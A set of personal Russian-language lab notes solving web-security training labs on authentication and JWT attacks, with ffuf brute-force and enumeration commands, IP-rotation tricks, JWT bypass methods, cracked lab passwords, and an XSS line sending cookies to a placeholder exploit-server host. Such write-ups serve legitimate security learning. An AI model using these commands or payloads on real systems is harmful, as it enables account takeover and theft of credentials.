Authentication attacks

1. Lab: Username enumeration via different responses

бурпом угнал запрос, потом ffuf сначала подобрал юзернейм, потом пароль

asia:klaster

```
ffuf -request req.txt -request-proto https -w users.txt -fs 3140

ffuf -request req.txt -request-proto https -w pass.txt -fc 200
```

2. Lab: 2FA simple bypass

Просто вместо того, чтобы вводить 2fa перейти на /my-account.

3. Lab: Password reset broken logic

В форме отправки сброса пароля явно указывается ник того, кому пароль скинуть.
Указываем там carlos и гг

4. Lab: Username enumeration via subtly different responses

Долго повозившись с регексами, сделал такой запрос в ffuf

```
ffuf -request req.txt -request-proto https -w users.txt -fr 'Invalid username or pas
```

Далее пароль (уже попроще)

azureuser:cheese

```
ffuf -request req.txt -request-proto https -w pass.txt -c
```

5. Lab: Username enumeration via response timing

Так как надо ротировать айпишник, чтоб не заблочиться, сгенерил список из 101 айпишника и засунул его питчфорком в ffuf. Теперь для каждого юзернейма будет новый айпишник. Чем не хайп.

```
ffuf -request req.txt -request-proto https \
  -w users.txt:FUZZ -w ips_101.txt:IPFUZZ \
  -mode pitchfork -c  -ft '<150'
```

На никнейме `au` таймаутнулся, так что буду считать, что он мне и нужен (в пароль я вбивал 3000 символов)

Правильно введенный пароль стандартно редиректит, нашел его таким запросом

au:12345678

```
ffuf -request req.txt -request-proto https \
  -w pass.txt:FUZZ -w ips_101.txt:IPFUZZ \
  -mode pitchfork -c -fr 'You have made too many incorrect login attempts'
```

6. Lab: Broken brute-force protection, IP block

Так как механизм таков, что раз в несколько раз надо опять входить - опять сделал pitchfork, только на этот раз просто сделал каждый второй юзер пасс - wiener:peter, и в выводе искал просто три синих подряд

```
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 83ms]
    * PASSFUZZ: peter
    * USERFUZZ: wiener

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 85ms]
    * PASSFUZZ: 1234567
    * USERFUZZ: carlos

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 84ms]
    * PASSFUZZ: peter
    * USERFUZZ: wiener
```

```
ffuf -request req.txt -request-proto https \
  -w carlos_wiener_200.txt:USERFUZZ -w pass_brute.txt:PASSFUZZ \
  -mode pitchfork -t 1 -c
```

7. Lab: Username enumeration via account lock

Заметил, что на несуществующие юзернеймы нет блока по количеству попыток входа. Победа??

```
ffuf -request req.txt -request-proto https \
  -w users.txt:USERFUZZ -w empty.txt:PASSFUZZ \
```

```
  -mode clusterbomb -c -fs 3132
```

В empty 10 рандомных строк, так что каждый юзернейм 10 раз повторился. Фильтруя по обычному размеру ответа я нашел, что в случае с юзернеймом argentina размер больше, а в сообщении находится `You have made too many incorrect login attempts`

Теперь перебираю пароли. Сделал фильтр на ошибку по таймауту и после нескольких прогонов заметил, что только один пароль каждый раз возвращается.

argentina:starwars

```
ffuf -request req.txt -request-proto https \
  -w pass.txt \
  -c -fr 'You have made too many incorrect login'
```

8. Lab: 2FA broken logic

Заметил, что в ручке GET /login2 в куки можно поставить ник. Таким образом я туда вставил ник carlos и загенерил ему 2FA

Далее со своего акка взял request, поменял на carlos ник, забрутил его ffuf

```
ffuf -request req.txt -request-proto https \
  -w ~/red/SecLists/Fuzzing/4-digits-0000-9999.txt \
  -c -fc 200
```

9. Lab: Brute-forcing a stay-logged-in cookie

Тут прикол в том, что в куки есть поле stay-logged-in, которое в формате base64(username:md5(password)).

Потому я написал bash скрипт, который создал мне вордлист для этого поля (change.sh) на основе имеющегося вордлиста пароля и юзера carlos.

Далее я добавил флаг -r в ffuf для того, чтобы следовать редиректам, и догадался отрубить куки “session” потому что оно мешало. Итого получил такой запрос

```
➜ ffuf -request req.txt -request-proto https \
  -w payloads.txt \
  -c -r -mr "Update email"
```

10. Lab: Offline password cracking

Тут как будто задача больше на скрафтить xss (я не смог). xss обращается по ручке server/

cookie и мы забираем эту куки. потом кракаем хэш.

```
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.co
```

carlos:26323c16d5f4dabff3bb136f2460a943

При помощи crackstation.net поломал пароль. onceuponatime

11. Lab: Password reset poisoning via middleware

Тут нужно было догадаться использовать header X-Forwarded-Host. Который перенаправляет на наш сайт, откуда мы и берем токен на ресет пароля.

12. Lab: Password brute-force via password change

Тут дело в том, что при смене пароля юзера можно прямо в параметрах post запроса указать. и если его пароль введен правильно, а новые пароли не совпадают, то будет уникальная строка, по которой можно мэтчить

```
ffuf -request req.txt -request-proto https \
  -w pass.txt \
  -c -mr "New passwords do not match"
```

вот и сама строка:

```
username=carlos&current-password=FUZZ&new-password-1=qwe&new-password-2=qww
```

13. Lab: Broken brute-force protection, multiple credentials per request

В json пароля в post запросе можно просто положить список паролей и жить счастливо.

14. Lab: 2FA bypass using a brute-force attack

Судя по решению, нужны гига донаты в бурп или долго возиться со скриптом. не сделал.

JWT attacks

1. Lab: JWT authentication bypass via unverified signature

Нет подписи у jwt -> говорим в ней что мы administrator и гоняем с его кукой.

2. Lab: JWT authentication bypass via flawed signature verification

Можно заменить алгоритм jwt на none, тогда подпись не будет проверяться, ее удалить. а далее как выше.

3. Lab: JWT authentication bypass via weak signing key

При помощи hashcat (mode 16500) и предоставленного вордлиста кракнул секрет (secret1).

4. Lab: JWT authentication bypass via jwk header injection

При помощи плагина jwt editor заспавнил свой ключ и вставил его jwk в header. прикол

5. Lab: JWT authentication bypass via jku header injection

При помощи экспоит сервера и непроверенных jku на сервере могу подсунуть свой, ведущий ссылкой на эксплоит сервер.

6. Lab: JWT authentication bypass via kid header path traversal

В kid вставляю путь к тому файлу на target, что могу предсказать (и потом генерирую ключ, который одинаков с тем, что будет в предсказанном файле).

Потом подписываю, в данном примере пустым ключом и с путем до /dev/null и гоняю.

7. Lab: JWT authentication bypass via algorithm confusion

Тут можно вместо асинхронного шифрования выбрать синхронное и вогнать публичный ключ от RSA как секрет.

8. Lab: JWT authentication bypass via algorithm confusion with no exposed key

Не делал